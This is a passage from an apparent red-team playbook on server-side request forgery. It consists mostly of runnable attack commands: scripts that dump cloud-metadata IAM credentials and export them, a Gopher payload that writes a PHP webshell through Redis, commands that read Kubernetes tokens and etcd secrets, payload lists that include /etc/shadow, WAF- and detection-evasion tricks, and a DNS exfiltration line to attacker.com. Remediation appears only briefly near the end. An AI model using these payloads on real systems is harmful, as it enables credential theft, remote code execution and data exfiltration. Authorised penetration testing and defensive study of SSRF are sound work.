### Discovery and Enumeration

```bash
# Passive: search for SSRF-prone parameters in JS files
gau target.com | grep -E "url=|fetch=|src=|href=|link=|path=|redirect=" | head -50
katana -u https://target.com -d 3 -jc | grep -E "\?.*url=|\?.*fetch=|\?.*src="

# Active: fuzz for SSRF parameters with ffuf
ffuf -u "https://target.com/api/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt \
  -mc 200,302,400 -H "Content-Type: application/json"

# Test all URL parameters with interactsh payload
INTERACTSH_ID="YOUR_INTERACT_ID.oast.fun"
ffuf -u "https://target.com/fetch?url=FUZZ" \
  -w <(echo "http://$INTERACTSH_ID/"; echo "https://$INTERACTSH_ID/") \
  -mc all

# Burp Suite — Intruder for blind SSRF parameter fuzzing
# Set §§ markers around the value and use Collaborator payload type

# Check response time differences (error-based SSRF detection)
time curl -s "https://target.com/fetch?url=http://127.0.0.1:80/"
time curl -s "https://target.com/fetch?url=http://127.0.0.1:81/"
# Open ports respond faster than closed ports
```

### AWS Metadata Commands

```bash
# Full AWS metadata dump via SSRF
AWS_SSRF_URL="https://target.com/fetch?url="
IMDS="http://169.254.169.254/latest"

for path in \
  "meta-data/" \
  "meta-data/ami-id" \
  "meta-data/instance-id" \
  "meta-data/instance-type" \
  "meta-data/local-ipv4" \
  "meta-data/public-ipv4" \
  "meta-data/hostname" \
  "meta-data/placement/region" \
  "meta-data/placement/availability-zone" \
  "meta-data/iam/info" \
  "meta-data/iam/security-credentials/" \
  "user-data" \
  "dynamic/instance-identity/document"; do
    echo -n "[+] $path: "
    curl -s "${AWS_SSRF_URL}${IMDS}/${path}"
    echo
done

# Get specific IAM role credentials
ROLE=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/")
echo "Role: $ROLE"
curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}"

# Parse and configure credentials
CREDS=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}")
ACCESS_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['AccessKeyId'])")
SECRET_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['SecretAccessKey'])")
SESSION_TOKEN=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['Token'])")

export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
export AWS_SESSION_TOKEN="$SESSION_TOKEN"
aws sts get-caller-identity
```

### Redis Interaction Commands

```bash
# Manual Gopher payload construction
# Redis PING
python3 -c "import urllib.parse; print('gopher://127.0.0.1:6379/_' + urllib.parse.quote('*1\r\n\$4\r\nPING\r\n'))"

# Redis GET all keys
python3 -c "
import urllib.parse
cmds = '*2\r\n\$4\r\nKEYS\r\n\$1\r\n*\r\n'
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
"

# Redis CONFIG GET all
python3 -c "
import urllib.parse
cmds = '*3\r\n\$6\r\nCONFIG\r\n\$3\r\nGET\r\n\$1\r\n*\r\n'
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
"

# One-liner Redis RCE via Gopher (write PHP shell)
python3 -c "
import urllib.parse
shell = '<?php system(\$_GET[\"cmd\"]); ?>'
cmds = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(shell)}\r\n{shell}\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$13\r\n/var/www/html\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$9\r\nshell.php\r\n*1\r\n\$4\r\nsave\r\n'
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
" | xargs -I{} curl -s "https://target.com/fetch?url={}"
```

### Kubernetes Internal Exploitation

```bash
# K8s API server (often at 10.96.0.1:443 or 10.0.0.1:443)
curl -s "https://target.com/fetch?url=https://10.96.0.1:443/api/v1/namespaces"

# Kubelet API (port 10250) — no auth by default in older clusters
curl -s "https://target.com/fetch?url=https://NODE-IP:10250/pods"
curl -s "https://target.com/fetch?url=https://NODE-IP:10250/exec/default/POD_NAME/CONTAINER?command=id"

# Read service account token from within a pod via SSRF
curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token"
curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# Use the token to authenticate to K8s API
K8S_TOKEN=$(curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token")
curl -k "https://10.96.0.1/api/v1/pods" -H "Authorization: Bearer $K8S_TOKEN"

# etcd (port 2379) — contains all cluster secrets
curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v2/keys/?recursive=true"
curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v3/keys"
```

---

## 5. Common Payloads and Examples

### SSRF Payload Wordlist

```
# Basic internal IPs
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/

# AWS IMDS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP IMDS
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address

# Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

# Oracle Cloud
http://169.254.169.254/opc/v2/instance/

# Common internal services
http://127.0.0.1:6379/   (Redis)
http://127.0.0.1:27017/  (MongoDB)
http://127.0.0.1:9200/   (Elasticsearch)
http://127.0.0.1:8080/   (Internal web)
http://127.0.0.1:2375/   (Docker)
http://127.0.0.1:8500/   (Consul)
http://127.0.0.1:8200/   (Vault)
http://127.0.0.1:50070/  (Hadoop)
http://127.0.0.1:5601/   (Kibana)
http://127.0.0.1:9090/   (Prometheus)
http://127.0.0.1:3000/   (Grafana)

# Protocol alternatives
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
dict://127.0.0.1:6379/PING
gopher://127.0.0.1:6379/_PING
```

### Blind SSRF OOB Payloads

```bash
# interactsh (free, open source)
http://YOUR-ID.oast.fun/
https://YOUR-ID.oast.fun/
http://YOUR-ID.oast.pro/

# Burp Collaborator
http://YOUR-COLLAB-ID.burpcollaborator.net/

# Custom DNS (set up NS record pointing to your server)
http://ssrf-test.YOUR-DOMAIN.com/

# Webhook.site (free, instant logs)
https://webhook.site/YOUR-UUID

# RequestBin
https://requestbin.io/YOUR-ID
```

---

## 6. Real-World Examples from Actual Engagements

### Case 1: AWS Account Takeover via Webhook SSRF

**Context:** SaaS platform offering Slack-style webhooks. Users can register a webhook URL for event notifications. The backend validates the URL with a GET request before saving.

**Finding:** The URL validation did not block private IP ranges and followed HTTP redirects.

**Exploitation:**
1. Registered webhook with a redirect server pointing to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
2. Triggered a test event to make the backend fire the webhook.
3. The redirect server returned a 301 to the IMDS endpoint.
4. The backend followed the redirect, received the credential JSON.
5. The backend stored or logged the response (visible in the webhook delivery log UI).
6. Extracted `AccessKeyId`, `SecretAccessKey`, `Token`.
7. Used credentials to list all S3 buckets and downloaded customer data.

**Impact:** Full AWS account compromise, PII of all customers.

---

### Case 2: SSRF to Redis RCE via Image Import

**Context:** E-commerce platform with "import product image from URL" feature.

**Finding:** Image import used Python requests library with no URL validation. Redis was running without auth on port 6379 internally.

**Exploitation:**
1. Confirmed SSRF: submitted `http://169.254.169.254/` — received AWS metadata.
2. Confirmed Redis: submitted `dict://127.0.0.1:6379/PING` — response contained `+PONG`.
3. App supported gopher:// protocol.
4. Used Gopher payload to write PHP webshell to `/var/www/html/shell.php`.
5. Accessed `https://target.com/shell.php?cmd=id` — confirmed RCE as `www-data`.
6. Escalated via kernel exploit to root.

**Impact:** Full server compromise, code execution, data exfiltration.

---

### Case 3: Blind SSRF in PDF Export Leading to Internal API Exposure

**Context:** Business intelligence tool with PDF export. PDFs rendered by wkhtmltopdf.

**Finding:** Report title accepted HTML. wkhtmltopdf executed JavaScript and made network requests.

**Exploitation:**
1. Set report title to JavaScript payload fetching internal APIs.
2. Exfiltrated data via DNS using `new Image().src = "https://data-" + btoa(secret) + ".attacker.com/"`.
3. Decoded base64 from DNS query logs.
4. Found internal API at `http://10.0.1.50:8080/admin/` with no authentication.
5. Extracted all customer records via internal API.

**Impact:** Full customer data exposure, internal API compromise.

---

### Case 4: SSRF via XXE in XML Parser

**Context:** Invoice processing API accepting XML.

**Finding:** XML parser had external entity processing enabled (XXE). SSRF achieved via `SYSTEM` entity with HTTP URL.

**Exploitation:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE invoice [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<invoice>
  <credentials>&ssrf;</credentials>
</invoice>
```

The response contained the IAM role name inline. Followed up with second XXE payload targeting the specific role endpoint.

**Impact:** AWS credentials stolen, S3 data accessed.

---

### Case 5: GCP Metadata via GraphQL SSRF

**Context:** GraphQL API with a `fetchContent(url: String!)` mutation for content import.

**Finding:** No validation on the `url` parameter. GCP environment.

**Exploitation:**
```graphql
mutation {
  fetchContent(url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token") {
    content
    statusCode
  }
}
```

Required adding `Metadata-Flavor: Google` header. Injected via:
```graphql
mutation {
  fetchContent(
    url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
    headers: {name: "Metadata-Flavor", value: "Google"}
  ) {
    content
  }
}
```

**Impact:** GCP service account token stolen, used to access GCS buckets and Cloud SQL instances.

---

## 7. WAF Bypass Techniques

### IP Address Obfuscation

```bash
# Decimal encoding
http://2130706433/          # 127.0.0.1
http://2852039166/          # 169.254.169.254

# Octal encoding
http://0177.0.0.1/          # 127.0.0.1
http://0251.0376.0251.0376/ # 169.254.169.254

# Hex encoding
http://0x7f000001/          # 127.0.0.1
http://0xa9fea9fe/          # 169.254.169.254

# Mixed representations
http://0x7f.0x0.0x0.0x1/
http://0177.0.0.0x1/

# IPv6 mapped
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/
http://[::ffff:a9fe:a9fe]/  # 169.254.169.254

# Shortened forms
http://127.1/               # Equivalent to 127.0.0.1 on many systems
http://169.254.169.254/ -> http://169.254/169.254/ (some parsers)
```

### URL Encoding Bypass

```bash
# Single encoding
http://%31%32%37%2e%30%2e%30%2e%31/

# Double encoding (bypass decoding-then-check)
http://%2531%2532%2537%252e%2530%252e%2530%252e%2531/

# Mixed encoding
http://127.%30.%30.1/
http://%31%32%37.0.0.1/

# Unicode normalization
http://①②⑦.0.0.①/
```

### Host Header Injection

```bash
# If the WAF checks Host header but the backend uses a different mechanism
curl -s "https://target.com/fetch?url=http://internal-service/" \
  -H "Host: 169.254.169.254"

# X-Forwarded-Host bypass
curl -s "https://target.com/fetch?url=http://internal/" \
  -H "X-Forwarded-Host: 169.254.169.254"

# X-Original-URL
curl -s "https://target.com/" \
  -H "X-Original-URL: /fetch?url=http://169.254.169.254/"
```

### Scheme Bypass

```bash
# If http:// is blocked, try alternatives
https://127.0.0.1/          # HTTPS to self (may work for internal)
http:127.0.0.1/             # Missing //
http:///127.0.0.1/          # Extra slash
http:\\127.0.0.1/           # Backslash
HTTP://127.0.0.1/           # Uppercase scheme
Http://127.0.0.1/           # Mixed case

# Protocol alternatives (if blocked by scheme whitelist)
# Only http/https allowed? Try:
gopher://127.0.0.1:6379/_PING
dict://127.0.0.1:6379/PING
ftp://127.0.0.1:6379/
sftp://127.0.0.1/
tftp://127.0.0.1:6379/PING
ldap://127.0.0.1:389/
```

### DNS-Based Bypasses

```bash
# DNS services that resolve to 127.0.0.1
http://localtest.me/
http://customer1.app.lvh.me/
http://127.0.0.1.xip.io/       # Deprecated but sometimes works
http://127.0.0.1.nip.io/       # Still active

# Custom DNS record (if you control DNS):
# A record: ssrf.attacker.com -> 127.0.0.1
# Use: http://ssrf.attacker.com/

# For AWS IMDS:
# A record: imds.attacker.com -> 169.254.169.254
http://imds.attacker.com/latest/meta-data/

# AWS-specific: metadata DNS alias
http://169.254.169.254/  # via special DNS resolution in some tools
```

### Rate Limit and Detection Evasion

```bash
# Add random query parameters to avoid caching/deduplication
http://169.254.169.254/latest/meta-data/?cb=$(date +%s)

# Slow down requests to avoid rate limiting
for path in meta-data/ user-data dynamic/instance-identity/document; do
  curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/$path"
  sleep 2
done

# Rotate through different SSRF parameters if one is monitored
# url= -> src= -> href= -> fetch= -> link=

# Use different encodings for each request to evade signature matching
```

---

## 8. Integration with RTExit Autodoc Engine

All SSRF findings must be documented using the RTExit autodoc engine to ensure consistent, complete reports. The autodoc engine ingests structured JSON evidence and generates findings in the standard report format.

### Autodoc Evidence Schema for SSRF

```json
{
  "finding_type": "ssrf",
  "severity": "critical|high|medium|low",
  "title": "Server-Side Request Forgery via [parameter] — [impact summary]",
  "target": {
    "url": "https://target.com/endpoint",
    "parameter": "url",
    "method": "GET|POST|PUT"
  },
  "proof": {
    "request": "Raw HTTP request",
    "response": "Raw HTTP response or SSRF response body",
    "oob_callback": "DNS/HTTP log from interactsh/Collaborator (for blind SSRF)"
  },
  "metadata_leaked": {
    "provider": "aws|gcp|azure|do|alibaba",
    "iam_role": "role-name-if-applicable",
    "credentials_obtained": true,
    "access_key_id": "ASIA...",
    "resources_accessed": ["s3://bucket-name", "arn:aws:iam::123456789:role/xyz"]
  },
  "exploitation_chain": [
    "Step 1: Identified SSRF in /api/import?url= parameter",
    "Step 2: Confirmed blind SSRF via interactsh callback",
    "Step 3: Accessed AWS IMDS at 169.254.169.254",
    "Step 4: Extracted IAM credentials for role ec2-prod-role",
    "Step 5: Used credentials to list S3 buckets — found customer-data-prod"
  ],
  "remediation": {
    "short": "Implement SSRF allowlist for permitted destinations",
    "long": "Deny requests to RFC1918, link-local ranges, and metadata IPs. Validate after DNS resolution. Migrate to IMDSv2."
  },
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
  "cvss_score": 10.0,
  "cwe": "CWE-918",
  "owasp": "A10:2021"
}
```

### Autodoc Integration Commands

```bash
# Initialize a new SSRF finding in RTExit
rtexit finding new --type ssrf --target "https://target.com/api/import"

# Record a confirmed SSRF with evidence
rtexit evidence add \
  --finding-id FINDING_ID \
  --type http_request \
  --file /tmp/ssrf_request.txt

rtexit evidence add \
  --finding-id FINDING_ID \
  --type oob_callback \
  --description "DNS callback received at interactsh: ssrf-probe.oast.fun" \
  --timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)"

# Record AWS credential theft
rtexit evidence add \
  --finding-id FINDING_ID \
  --type aws_credentials \
  --file /tmp/imds_response.json \
  --note "IAM role ec2-prod-role credentials retrieved via SSRF"

# Mark finding as exploited (full chain)
rtexit finding update FINDING_ID \
  --status exploited \
  --severity critical \
  --impact "Full AWS account access achieved"

# Generate finding report
rtexit report generate --finding-id FINDING_ID --format markdown

# Bulk import SSRF scan results
rtexit import ssrf-scan-results /tmp/ssrf_scan_output.json

# Tag finding for inclusion in executive summary
rtexit finding tag FINDING_ID --tags "cloud,credential-theft,critical-path"
```

### Screenshot Evidence Collection

```bash
# Capture SSRF request/response pair in Burp
# Export as base64 and attach to finding
burp-export-request | base64 > /tmp/ssrf_burp_req.b64
rtexit evidence add --finding-id FINDING_ID --type screenshot --file /tmp/ssrf_screenshot.png

# Use curl verbose output as evidence
curl -v "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/" 2>&1 | \
  tee /tmp/ssrf_curl_evidence.txt

rtexit evidence add \
  --finding-id FINDING_ID \
  --type raw_output \
  --file /tmp/ssrf_curl_evidence.txt
```

---

## 9. Output and Documentation Instructions

### Minimum Required Evidence for Each SSRF Finding

1. **HTTP Request/Response Pair** — The exact request triggering SSRF and the server's response showing internal content or OOB callback.

2. **Out-of-Band Callback Log** — For blind SSRF, export the DNS/HTTP log from interactsh or Burp Collaborator showing the server-side request originated from the target IP.

3. **Exploitation Proof** — For cloud credential theft: the full JSON response from IMDS (redact the actual keys in the final report, but store originals in RTExit encrypted vault). For Redis RCE: screenshot of RCE output.

4. **Impact Assessment** — For credential theft, list the IAM role, policies attached, and resources accessed. Include `aws sts get-caller-identity` output.

### Severity Classification

| Condition | Severity |
|-----------|----------|
| Cloud credential theft (AWS/GCP/Azure) | Critical |
| RCE via Gopher/Redis chain | Critical |
| Access to internal admin APIs without auth | High |
| Internal network enumeration (no sensitive data) | High |
| Blind SSRF with OOB callback only | Medium |
| SSRF to non-sensitive localhost port | Medium |
| SSRF with strict allowlist partially bypassed | Low |

### Report Writing Notes

- Always include the full reproduction steps — another operator must be able to reproduce.
- Redact actual secret values in the shared report; store originals in the RTExit encrypted evidence vault.
- Note whether IMDSv1 or IMDSv2 was exploited (IMDSv1 indicates a misconfiguration).
- For GCP/Azure, note whether the required headers were forwarded (indicates broader header injection issue).
- Include remediation priority — SSRF-to-cloud-credentials is a P0 emergency fix.

### Remediation Recommendations to Include

```
1. Implement a strict allowlist of permitted fetch destinations (not a blocklist).
2. Resolve DNS before validating the IP — validate after resolution, not before.
3. Block RFC1918 ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
4. Block link-local range: 169.254.0.0/16.
5. Block loopback: 127.0.0.0/8, [::1].
6. Enforce IMDSv2 on all EC2 instances (PUT-only token flow).
7. Use a dedicated egress proxy for all server-side HTTP fetches.
8. Disable gopher://, dict://, file:// schemes in HTTP client configuration.
9. Do not follow redirects in server-side fetch operations, or re-validate after redirect.
10. Apply network-level controls: EC2 instance metadata firewall rules.
```

---

## 10. Resources

### Tools

| Tool | URL | Purpose |
|------|-----|---------|
| interactsh | https://github.com/projectdiscovery/interactsh | Out-of-band blind SSRF detection |
| SSRFmap | https://github.com/swisskyrepo/SSRFmap | Automated SSRF exploitation |
| Gopherus | https://github.com/tarunkant/Gopherus | Gopher payload generator |
| Singularity | https://github.com/nccgroup/singularity | DNS rebinding framework |
| SSRF Sheriff | https://github.com/teknogeek/ssrf-sheriff | SSRF detection server |
| Metabigor | https://github.com/j3ssie/metabigor | Recon tool with SSRF testing |
| ffuf | https://github.com/ffuf/ffuf | Fast web fuzzer for SSRF parameter discovery |
| gau | https://github.com/lc/gau | Fetch known URLs for parameter enumeration |
| katana | https://github.com/projectdiscovery/katana | Web crawler for attack surface mapping |
| whonow | https://github.com/brannondorsey/whonow | DNS rebinding attack server |

### References

- OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- PortSwigger SSRF Labs: https://portswigger.net/web-security/ssrf
- HackTricks SSRF: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
- PayloadsAllTheThings SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- AWS IMDSv2 Migration Guide: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- GCP Metadata Server Docs: https://cloud.google.com/compute/docs/metadata/overview
- Azure IMDS Docs: https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- Redis Gopher RCE Research: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
- DNS Rebinding Explained: https://github.com/nccgroup/singularity/wiki/How-does-DNS-rebinding-work
- SSRF in the Wild (Bug Bounty Reports): https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
- Capital One Breach (SSRF + IMDS): https://krebsonsecurity.com/2019/07/capital-one-data-theft-impacts-106m-people/

### CVEs Relevant to SSRF Exploitation

- CVE-2021-26855 — Microsoft Exchange SSRF (ProxyLogon)
- CVE-2019-11581 — Atlassian Jira SSRF
- CVE-2020-14179 — Atlassian Jira SSRF (information disclosure)
- CVE-2021-21975 — VMware vRealize Operations SSRF to RCE
- CVE-2022-22954 — VMware Workspace ONE Access SSRF
- CVE-2023-23752 — Joomla SSRF to authentication bypass

### Training Resources

- PortSwigger Web Security Academy — SSRF labs (free): https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
- TryHackMe SSRF room: https://tryhackme.com/room/ssrfqi
- HackTheBox SSRF challenges: https://www.hackthebox.com
- PentesterLab SSRF exercises: https://pentesterlab.com
